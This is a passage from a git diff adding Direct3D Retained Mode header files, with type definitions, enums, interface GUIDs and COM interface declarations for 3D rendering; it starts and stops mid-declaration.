D3DRMERR_BADMINORVERSION MAKE_DDHRESULT(792) +#define D3DRMERR_UNABLETOEXECUTE MAKE_DDHRESULT(793) +#endif + diff --git a/client/d3drmdef.h b/client/d3drmdef.h new file mode 100644 index 0000000..f4c8f71 --- /dev/null +++ b/client/d3drmdef.h @@ -0,0 +1,208 @@ +/* $Revision: 1.2 $ */ +#ifndef __D3DRMDEFS_H__ +#define __D3DRMDEFS_H__ +#include +#include "d3dtypes.h" +#define D3DRMAPI __stdcall +#ifndef TRUE +#define FALSE 0 +#define TRUE 1 +#endif +typedef struct _D3DRMVECTOR4D { D3DVALUE x, y, z, w; } D3DRMVECTOR4D, *LPD3DRMVECTOR4D; +typedef D3DVALUE D3DRMMATRIX4D[4][4]; +typedef struct _D3DRMQUATERNION { D3DVALUE s; D3DVECTOR v; } D3DRMQUATERNION, *LPD3DRMQUATERNION; +typedef struct _D3DRMBOX { D3DVECTOR min, max; } D3DRMBOX, *LPD3DRMBOX; +typedef void (*D3DRMWRAPCALLBACK) (LPD3DVECTOR, int*,int* ,LPD3DVECTOR,LPD3DVECTOR,LPVOID); +typedef enum _D3DRMLIGHTTYPE +{ D3DRMLIGHT_AMBIENT, + D3DRMLIGHT_POINT, + D3DRMLIGHT_SPOT, + D3DRMLIGHT_DIRECTIONAL, + D3DRMLIGHT_PARALLELPOINT +} D3DRMLIGHTTYPE, *LPD3DRMLIGHTTYPE; +typedef enum _D3DRMSHADEMODE { + D3DRMSHADE_FLAT = 0, + D3DRMSHADE_GOURAUD = 1, + D3DRMSHADE_PHONG = 2, + D3DRMSHADE_MASK = 7, + D3DRMSHADE_MAX = 8 +} D3DRMSHADEMODE, *LPD3DRMSHADEMODE; +typedef enum _D3DRMLIGHTMODE { + D3DRMLIGHT_OFF = 0 * D3DRMSHADE_MAX, + D3DRMLIGHT_ON = 1 * D3DRMSHADE_MAX, + D3DRMLIGHT_MASK = 7 * D3DRMSHADE_MAX, + D3DRMLIGHT_MAX = 8 * D3DRMSHADE_MAX +} D3DRMLIGHTMODE, *LPD3DRMLIGHTMODE; +typedef enum _D3DRMFILLMODE { + D3DRMFILL_POINTS = 0 * D3DRMLIGHT_MAX, + D3DRMFILL_WIREFRAME = 1 * D3DRMLIGHT_MAX, + D3DRMFILL_SOLID = 2 * D3DRMLIGHT_MAX, + D3DRMFILL_MASK = 7 * D3DRMLIGHT_MAX, + D3DRMFILL_MAX = 8 * D3DRMLIGHT_MAX +} D3DRMFILLMODE, *LPD3DRMFILLMODE; +typedef DWORD D3DRMRENDERQUALITY, *LPD3DRMRENDERQUALITY; +#define D3DRMRENDER_WIREFRAME (D3DRMSHADE_FLAT+D3DRMLIGHT_OFF+D3DRMFILL_WIREFRAME) +#define D3DRMRENDER_UNLITFLAT (D3DRMSHADE_FLAT+D3DRMLIGHT_OFF+D3DRMFILL_SOLID) +#define D3DRMRENDER_FLAT (D3DRMSHADE_FLAT+D3DRMLIGHT_ON+D3DRMFILL_SOLID) +#define D3DRMRENDER_GOURAUD (D3DRMSHADE_GOURAUD+D3DRMLIGHT_ON+D3DRMFILL_SOLID) +#define D3DRMRENDER_PHONG (D3DRMSHADE_PHONG+D3DRMLIGHT_ON+D3DRMFILL_SOLID) +typedef enum _D3DRMTEXTUREQUALITY +{ D3DRMTEXTURE_NEAREST, + D3DRMTEXTURE_LINEAR, + D3DRMTEXTURE_MIPNEAREST, + D3DRMTEXTURE_MIPLINEAR, + D3DRMTEXTURE_LINEARMIPNEAREST, + D3DRMTEXTURE_LINEARMIPLINEAR +} D3DRMTEXTUREQUALITY, *LPD3DRMTEXTUREQUALITY; +typedef enum _D3DRMCOMBINETYPE +{ D3DRMCOMBINE_REPLACE, + D3DRMCOMBINE_BEFORE, + D3DRMCOMBINE_AFTER +} D3DRMCOMBINETYPE, *LPD3DRMCOMBINETYPE; +typedef D3DCOLORMODEL D3DRMCOLORMODEL, *LPD3DRMCOLORMODEL; +typedef enum _D3DRMPALETTEFLAGS +{ D3DRMPALETTE_FREE, + D3DRMPALETTE_READONLY, + D3DRMPALETTE_RESERVED +} D3DRMPALETTEFLAGS, *LPD3DRMPALETTEFLAGS; +typedef struct _D3DRMPALETTEENTRY +{ unsigned char red; + unsigned char green; + unsigned char blue; + unsigned char flags; +} D3DRMPALETTEENTRY, *LPD3DRMPALETTEENTRY; +typedef struct _D3DRMIMAGE +{ int width, height; + int aspectx, aspecty; + int depth; + int rgb; + int bytes_per_line; + void* buffer1; + void* buffer2; + unsigned long red_mask; + unsigned long green_mask; + unsigned long blue_mask; + unsigned long alpha_mask; + int palette_size; + D3DRMPALETTEENTRY* palette; +} D3DRMIMAGE, *LPD3DRMIMAGE; +typedef enum _D3DRMWRAPTYPE +{ D3DRMWRAP_FLAT, + D3DRMWRAP_CYLINDER, + D3DRMWRAP_SPHERE, + D3DRMWRAP_CHROME +} D3DRMWRAPTYPE, *LPD3DRMWRAPTYPE; +#define D3DRMWIREFRAME_CULL 1 +#define D3DRMWIREFRAME_HIDDENLINE 2 +typedef enum _D3DRMPROJECTIONTYPE +{ D3DRMPROJECT_PERSPECTIVE, + D3DRMPROJECT_ORTHOGRAPHIC +} D3DRMPROJECTIONTYPE, *LPD3DRMPROJECTIONTYPE; +typedef enum _D3DRMXOFFORMAT +{ D3DRMXOF_BINARY, + D3DRMXOF_COMPRESSED, + D3DRMXOF_TEXT +} D3DRMXOFFORMAT, *LPD3DRMXOFFORMAT; +typedef DWORD D3DRMSAVEOPTIONS; +#define D3DRMXOFSAVE_NORMALS 1 +#define D3DRMXOFSAVE_TEXTURECOORDINATES 2 +#define D3DRMXOFSAVE_MATERIALS 4 +#define D3DRMXOFSAVE_TEXTURENAMES 8 +#define D3DRMXOFSAVE_ALL 15 +#define D3DRMXOFSAVE_TEMPLATES 16 +typedef enum _D3DRMCOLORSOURCE +{ D3DRMCOLOR_FROMFACE, + D3DRMCOLOR_FROMVERTEX +} D3DRMCOLORSOURCE, *LPD3DRMCOLORSOURCE; +typedef enum _D3DRMFRAMECONSTRAINT +{ D3DRMCONSTRAIN_Z, + D3DRMCONSTRAIN_Y, + D3DRMCONSTRAIN_X +} D3DRMFRAMECONSTRAINT, *LPD3DRMFRAMECONSTRAINT; +typedef enum _D3DRMMATERIALMODE +{ D3DRMMATERIAL_FROMMESH, + D3DRMMATERIAL_FROMPARENT, + D3DRMMATERIAL_FROMFRAME +} D3DRMMATERIALMODE, *LPD3DRMMATERIALMODE; +typedef enum _D3DRMFOGMODE +{ D3DRMFOG_LINEAR, + D3DRMFOG_EXPONENTIAL, + D3DRMFOG_EXPONENTIALSQUARED +} D3DRMFOGMODE, *LPD3DRMFOGMODE; + +typedef enum _D3DRMZBUFFERMODE { + D3DRMZBUFFER_FROMPARENT, + D3DRMZBUFFER_ENABLE, + D3DRMZBUFFER_DISABLE +} D3DRMZBUFFERMODE, *LPD3DRMZBUFFERMODE; +typedef enum _D3DRMSORTMODE { + D3DRMSORT_FROMPARENT, + D3DRMSORT_NONE, + D3DRMSORT_FRONTTOBACK, + D3DRMSORT_BACKTOFRONT +} D3DRMSORTMODE, *LPD3DRMSORTMODE; +typedef DWORD D3DRMANIMATIONOPTIONS; +#define D3DRMANIMATION_OPEN 1 +#define D3DRMANIMATION_CLOSED 2 +#define D3DRMANIMATION_LINEARPOSITION 4 +#define D3DRMANIMATION_SPLINEPOSITION 8 +#define D3DRMANIMATION_SCALEANDROTATION 16 +#define D3DRMANIMATION_POSITION 32 +typedef DWORD D3DRMLOADOPTIONS; +#define D3DRMLOAD_FROMFILE 0x00L +#define D3DRMLOAD_FROMRESOURCE 0x01L +#define D3DRMLOAD_FROMMEMORY 0x02L +#define D3DRMLOAD_FROMSTREAM 0x04L +#define D3DRMLOAD_BYNAME 0x10L +#define D3DRMLOAD_BYPOSITION 0x20L +#define D3DRMLOAD_BYGUID 0x40L +#define D3DRMLOAD_FIRST 0x80L +#define D3DRMLOAD_INSTANCEBYREFERENCE 0x100L +#define D3DRMLOAD_INSTANCEBYCOPYING 0x200L +typedef struct _D3DRMLOADRESOURCE { + HMODULE hModule; + LPCTSTR lpName; + LPCTSTR lpType; +} D3DRMLOADRESOURCE, *LPD3DRMLOADRESOURCE; +typedef struct _D3DRMLOADMEMORY { + LPVOID lpMemory; + DWORD dSize; +} D3DRMLOADMEMORY, *LPD3DRMLOADMEMORY; +typedef enum _D3DRMUSERVISUALREASON { + D3DRMUSERVISUAL_CANSEE, + D3DRMUSERVISUAL_RENDER +} D3DRMUSERVISUALREASON, *LPD3DRMUSERVISUALREASON; +typedef DWORD D3DRMMAPPING, D3DRMMAPPINGFLAG, *LPD3DRMMAPPING; +static const D3DRMMAPPINGFLAG D3DRMMAP_WRAPU = 1; +static const D3DRMMAPPINGFLAG D3DRMMAP_WRAPV = 2; +static const D3DRMMAPPINGFLAG D3DRMMAP_PERSPCORRECT = 4; +typedef struct _D3DRMVERTEX +{ D3DVECTOR position; + D3DVECTOR normal; + D3DVALUE tu, tv; + D3DCOLOR color; +} D3DRMVERTEX, *LPD3DRMVERTEX; +typedef LONG D3DRMGROUPINDEX; +static const D3DRMGROUPINDEX D3DRMGROUP_ALLGROUPS = -1; +extern D3DCOLOR D3DRMAPI D3DRMCreateColorRGB(D3DVALUE,D3DVALUE,D3DVALUE); +extern D3DCOLOR D3DRMAPI D3DRMCreateColorRGBA(D3DVALUE,D3DVALUE,D3DVALUE,D3DVALUE); +extern D3DVALUE D3DRMAPI D3DRMColorGetRed(D3DCOLOR); +extern D3DVALUE D3DRMAPI D3DRMColorGetGreen(D3DCOLOR); +extern D3DVALUE D3DRMAPI D3DRMColorGetBlue(D3DCOLOR); +extern D3DVALUE D3DRMAPI D3DRMColorGetAlpha(D3DCOLOR); +extern LPD3DVECTOR D3DRMAPI D3DRMVectorAdd(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR); +extern LPD3DVECTOR D3DRMAPI D3DRMVectorSubtract(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR); +extern LPD3DVECTOR D3DRMAPI D3DRMVectorReflect(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR); +extern LPD3DVECTOR D3DRMAPI D3DRMVectorCrossProduct(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR); +extern D3DVALUE D3DRMAPI D3DRMVectorDotProduct(LPD3DVECTOR,LPD3DVECTOR); +extern LPD3DVECTOR D3DRMAPI D3DRMVectorNormalize(LPD3DVECTOR); +#define D3DRMVectorNormalise D3DRMVectorNormalize +extern D3DVALUE D3DRMAPI D3DRMVectorModulus(LPD3DVECTOR); +extern LPD3DVECTOR D3DRMAPI D3DRMVectorRotate(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR,D3DVALUE); +extern LPD3DVECTOR D3DRMAPI D3DRMVectorScale(LPD3DVECTOR,LPD3DVECTOR,D3DVALUE); +extern LPD3DVECTOR D3DRMAPI D3DRMVectorRandom(LPD3DVECTOR); +extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionFromRotation(LPD3DRMQUATERNION,LPD3DVECTOR,D3DVALUE); +extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionMultiply(LPD3DRMQUATERNION,LPD3DRMQUATERNION,LPD3DRMQUATERNION); +extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionSlerp(LPD3DRMQUATERNION,LPD3DRMQUATERNION,LPD3DRMQUATERNION,D3DVALUE); +extern void D3DRMAPI D3DRMMatrixFromQuaternion(D3DRMMATRIX4D,LPD3DRMQUATERNION); +#endif diff --git a/client/d3drmobj.h b/client/d3drmobj.h new file mode 100644 index 0000000..e09e970 --- /dev/null +++ b/client/d3drmobj.h @@ -0,0 +1,508 @@ +/* $Revision: 1.2 $ */ +#ifndef _LCC_D3DRMOBJ_H_ +#define _LCC_D3DRMOBJ_H_ +#include +#define VIRTUAL +#include "d3drmdef.h" +#include "d3d.h" +#define IUNKNOWN_METHODS(kind) \ + STDMETHOD(QueryInterface) (THIS_ REFIID riid, LPVOID *ppvObj) kind; \ + STDMETHOD_(ULONG, AddRef) (THIS) kind; \ + STDMETHOD_(ULONG, Release) (THIS) kind +#define IDIRECT3DRMOBJECT_METHODS(kind) \ + STDMETHOD(Clone) (THIS_ LPUNKNOWN pUnkOuter, REFIID riid, LPVOID *ppvObj) kind; \ + STDMETHOD(AddDestroyCallback) (THIS_ D3DRMOBJECTCALLBACK, LPVOID argument) kind; \ + STDMETHOD(DeleteDestroyCallback) (THIS_ D3DRMOBJECTCALLBACK, LPVOID argument) kind; \ + STDMETHOD(SetAppData) (THIS_ DWORD data) kind; \ + STDMETHOD_(DWORD, GetAppData) (THIS) kind; \ + STDMETHOD(SetName) (THIS_ LPCSTR) kind; \ + STDMETHOD(GetName) (THIS_ LPDWORD lpdwSize, LPSTR lpName) kind; \ + STDMETHOD(GetClassName) (THIS_ LPDWORD lpdwSize, LPSTR lpName) kind +#define WIN_TYPES(itype, ptype) typedef interface itype FAR *LP##ptype, FAR **LPLP##ptype +WIN_TYPES(IDirect3DRMObject, DIRECT3DRMOBJECT); +WIN_TYPES(IDirect3DRMDevice, DIRECT3DRMDEVICE); +WIN_TYPES(IDirect3DRMViewport, DIRECT3DRMVIEWPORT); +WIN_TYPES(IDirect3DRMFrame, DIRECT3DRMFRAME); +WIN_TYPES(IDirect3DRMVisual, DIRECT3DRMVISUAL); +WIN_TYPES(IDirect3DRMMesh, DIRECT3DRMMESH); +WIN_TYPES(IDirect3DRMMeshBuilder, DIRECT3DRMMESHBUILDER); +WIN_TYPES(IDirect3DRMFace, DIRECT3DRMFACE); +WIN_TYPES(IDirect3DRMLight, DIRECT3DRMLIGHT); +WIN_TYPES(IDirect3DRMTexture, DIRECT3DRMTEXTURE); +WIN_TYPES(IDirect3DRMWrap, DIRECT3DRMWRAP); +WIN_TYPES(IDirect3DRMMaterial, DIRECT3DRMMATERIAL); +WIN_TYPES(IDirect3DRMAnimation, DIRECT3DRMANIMATION); +WIN_TYPES(IDirect3DRMAnimationSet, DIRECT3DRMANIMATIONSET); +WIN_TYPES(IDirect3DRMUserVisual, DIRECT3DRMUSERVISUAL); +WIN_TYPES(IDirect3DRMShadow, DIRECT3DRMSHADOW); +WIN_TYPES(IDirect3DRMArray, DIRECT3DRMOBJECTARRAY); +WIN_TYPES(IDirect3DRMDeviceArray, DIRECT3DRMDEVICEARRAY); +WIN_TYPES(IDirect3DRMFaceArray, DIRECT3DRMFACEARRAY); +WIN_TYPES(IDirect3DRMViewportArray, DIRECT3DRMVIEWPORTARRAY); +WIN_TYPES(IDirect3DRMFrameArray, DIRECT3DRMFRAMEARRAY); +WIN_TYPES(IDirect3DRMVisualArray, DIRECT3DRMVISUALARRAY); +WIN_TYPES(IDirect3DRMPickedArray, DIRECT3DRMPICKEDARRAY); +WIN_TYPES(IDirect3DRMLightArray, DIRECT3DRMLIGHTARRAY); +DEFINE_GUID(CLSID_CDirect3DRMDevice, 0x4fa3568e, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMViewport, 0x4fa3568f, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMFrame, 0x4fa35690, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMMesh, 0x4fa35691, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMMeshBuilder, 0x4fa35692, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMFace, 0x4fa35693, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMLight, 0x4fa35694, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMTexture, 0x4fa35695, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMWrap, 0x4fa35696, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMMaterial, 0x4fa35697, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMAnimation, 0x4fa35698, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMAnimationSet, 0x4fa35699, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMUserVisual, 0x4fa3569a, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMShadow, 0x4fa3569b, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMObject, 0xeb16cb00, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMDevice, 0xe9e19280, 0x6e05, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMViewport, 0xeb16cb02, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMFrame, 0xeb16cb03, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMVisual, 0xeb16cb04, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMMesh, 0xa3a80d01, 0x6e12, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMMeshBuilder, 0xa3a80d02, 0x6e12, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMFace, 0xeb16cb07, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMLight, 0xeb16cb08, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMTexture, 0xeb16cb09, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMWrap, 0xeb16cb0a, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMMaterial, 0xeb16cb0b, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMAnimation, 0xeb16cb0d, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMAnimationSet, 0xeb16cb0e, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMDeviceArray, 0xeb16cb10, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMViewportArray, 0xeb16cb11, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMFrameArray, 0xeb16cb12, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMVisualArray, 0xeb16cb13, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMLightArray, 0xeb16cb14, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMPickedArray, 0xeb16cb16, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMFaceArray, 0xeb16cb17, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMUserVisual, 0x59163de0, 0x6d43, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMShadow, 0xaf359780, 0x6ba3, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +typedef void (CDECL *D3DRMOBJECTCALLBACK)(LPDIRECT3DRMOBJECT obj, LPVOID arg); +typedef void (CDECL *D3DRMFRAMEMOVECALLBACK)(LPDIRECT3DRMFRAME obj, LPVOID arg, D3DVALUE delta); +typedef void (CDECL *D3DRMUPDATECALLBACK)(LPDIRECT3DRMDEVICE obj, LPVOID arg, int, LPD3DRECT); +typedef int (CDECL *D3DRMUSERVISUALCALLBACK)(LPDIRECT3DRMUSERVISUAL,LPVOID,D3DRMUSERVISUALREASON,LPDIRECT3DRMDEVICE,LPDIRECT3DRMVIEWPORT); +typedef HRESULT (CDECL *D3DRMLOADTEXTURECALLBACK)(char *,void *,LPDIRECT3DRMTEXTURE *); +typedef void (CDECL *D3DRMLOADCALLBACK) (LPDIRECT3DRMOBJECT,REFIID,LPVOID); +typedef struct _D3DRMPICKDESC { + ULONG ulFaceIdx; + LONG lGroupIdx; + D3DVECTOR vPosition; +} D3DRMPICKDESC, *LPD3DRMPICKDESC; +#undef INTERFACE +#define INTERFACE IDirect3DRMObject +DECLARE_INTERFACE_(IDirect3DRMObject, IUnknown) { + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMVisual +DECLARE_INTERFACE_(IDirect3DRMVisual, IDirect3DRMObject) { + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMDevice +DECLARE_INTERFACE_(IDirect3DRMDevice, IDirect3DRMObject) { + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(Init)(THIS_ ULONG width, ULONG height) PURE; + STDMETHOD(InitFromD3D)(THIS_ LPDIRECT3D lpD3D, LPDIRECT3DDEVICE lpD3DDev) PURE; + STDMETHOD(InitFromClipper)(THIS_ LPDIRECTDRAWCLIPPER lpDDClipper, LPGUID lpGUID, int width, int height) PURE; + STDMETHOD(Update)(THIS) PURE; + STDMETHOD(AddUpdateCallback)(THIS_ D3DRMUPDATECALLBACK, LPVOID arg) PURE; + STDMETHOD(DeleteUpdateCallback)(THIS_ D3DRMUPDATECALLBACK, LPVOID arg) PURE; + STDMETHOD(SetBufferCount)(THIS_ DWORD) PURE; + STDMETHOD_(DWORD, GetBufferCount)(THIS) PURE; + STDMETHOD(SetDither)(THIS_ BOOL) PURE; + STDMETHOD(SetShades)(THIS_ DWORD) PURE; + STDMETHOD(SetQuality)(THIS_ D3DRMRENDERQUALITY) PURE; + STDMETHOD(SetTextureQuality)(THIS_ D3DRMTEXTUREQUALITY) PURE; + STDMETHOD(GetViewports)(THIS_ LPDIRECT3DRMVIEWPORTARRAY *return_views) PURE; + STDMETHOD_(BOOL, GetDither)(THIS) PURE; + STDMETHOD_(DWORD, GetShades)(THIS) PURE; + STDMETHOD_(DWORD, GetHeight)(THIS) PURE; + STDMETHOD_(DWORD, GetWidth)(THIS) PURE; + STDMETHOD_(DWORD, GetTrianglesDrawn)(THIS) PURE; + STDMETHOD_(DWORD, GetWireframeOptions)(THIS) PURE; + STDMETHOD_(D3DRMRENDERQUALITY, GetQuality)(THIS) PURE; + STDMETHOD_(D3DCOLORMODEL, GetColorModel)(THIS) PURE; + STDMETHOD_(D3DRMTEXTUREQUALITY, GetTextureQuality)(THIS) PURE; + STDMETHOD(GetDirect3DDevice)(THIS_ LPDIRECT3DDEVICE *) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMViewport +DECLARE_INTERFACE_(IDirect3DRMViewport, IDirect3DRMObject) { + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(Init)(THIS_ LPDIRECT3DRMDEVICE d,LPDIRECT3DRMFRAME c,DWORD x,DWORD y,DWORD w,DWORD h) PURE; + STDMETHOD(Clear)(THIS) PURE; + STDMETHOD(Render)(THIS_ LPDIRECT3DRMFRAME) PURE; + STDMETHOD(SetFront)(THIS_ D3DVALUE) PURE; + STDMETHOD(SetBack)(THIS_ D3DVALUE) PURE; + STDMETHOD(SetField)(THIS_ D3DVALUE) PURE; + STDMETHOD(SetUniformScaling)(THIS_ BOOL) PURE; + STDMETHOD(SetCamera)(THIS_ LPDIRECT3DRMFRAME) PURE; + STDMETHOD(SetProjection)(THIS_ D3DRMPROJECTIONTYPE) PURE; + STDMETHOD(Transform)(THIS_ D3DRMVECTOR4D *d, D3DVECTOR *s) PURE; + STDMETHOD(InverseTransform)(THIS_ D3DVECTOR *d, D3DRMVECTOR4D *s) PURE; + STDMETHOD(Configure)(THIS_ LONG x, LONG y, DWORD width, DWORD height) PURE; + STDMETHOD(ForceUpdate)(THIS_ DWORD x1, DWORD y1, DWORD x2, DWORD y2) PURE; + STDMETHOD(SetPlane)(THIS_ D3DVALUE left, D3DVALUE right, D3DVALUE bottom, D3DVALUE top) PURE; + STDMETHOD(GetCamera)(THIS_ LPDIRECT3DRMFRAME *) PURE; + STDMETHOD(GetDevice)(THIS_ LPDIRECT3DRMDEVICE *) PURE; + STDMETHOD(GetPlane)(THIS_ D3DVALUE *left, D3DVALUE *right, D3DVALUE *bottom, D3DVALUE *top) PURE; + STDMETHOD(Pick)(THIS_ LONG x, LONG y, LPDIRECT3DRMPICKEDARRAY *return_visuals) PURE; + STDMETHOD_(BOOL, GetUniformScaling)(THIS) PURE; + STDMETHOD_(LONG, GetX)(THIS) PURE; + STDMETHOD_(LONG, GetY)(THIS) PURE; + STDMETHOD_(DWORD, GetWidth)(THIS) PURE; + STDMETHOD_(DWORD, GetHeight)(THIS) PURE; + STDMETHOD_(D3DVALUE, GetField)(THIS) PURE; + STDMETHOD_(D3DVALUE, GetBack)(THIS) PURE; + STDMETHOD_(D3DVALUE, GetFront)(THIS) PURE; + STDMETHOD_(D3DRMPROJECTIONTYPE, GetProjection)(THIS) PURE; + STDMETHOD(GetDirect3DViewport)(THIS_ LPDIRECT3DVIEWPORT *) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMFrame +DECLARE_INTERFACE_(IDirect3DRMFrame, IDirect3DRMVisual) { + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(AddChild)(THIS_ LPDIRECT3DRMFRAME child) PURE; + STDMETHOD(AddLight)(THIS_ LPDIRECT3DRMLIGHT) PURE; + STDMETHOD(AddMoveCallback)(THIS_ D3DRMFRAMEMOVECALLBACK, VOID *arg) PURE; + STDMETHOD(AddTransform)(THIS_ D3DRMCOMBINETYPE, D3DRMMATRIX4D) PURE; + STDMETHOD(AddTranslation)(THIS_ D3DRMCOMBINETYPE, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; + STDMETHOD(AddScale)(THIS_ D3DRMCOMBINETYPE, D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE; + STDMETHOD(AddRotation)(THIS_ D3DRMCOMBINETYPE, D3DVALUE x, D3DVALUE y, D3DVALUE z, D3DVALUE theta) PURE; + STDMETHOD(AddVisual)(THIS_ LPDIRECT3DRMVISUAL) PURE; + STDMETHOD(GetChildren)(THIS_ LPDIRECT3DRMFRAMEARRAY *children) PURE; + STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE; + STDMETHOD(GetLights)(THIS_ LPDIRECT3DRMLIGHTARRAY *lights) PURE; + STDMETHOD_(D3DRMMATERIALMODE, GetMaterialMode)(THIS) PURE; + STDMETHOD(GetParent)(THIS_ LPDIRECT3DRMFRAME *) PURE; + STDMETHOD(GetPosition)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR return_position) PURE; + STDMETHOD(GetRotation)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR axis, LPD3DVALUE return_theta) PURE; + STDMETHOD(GetScene)(THIS_ LPDIRECT3DRMFRAME *) PURE; + STDMETHOD_(D3DRMSORTMODE, GetSortMode)(THIS) PURE; + STDMETHOD(GetTexture)(THIS_ 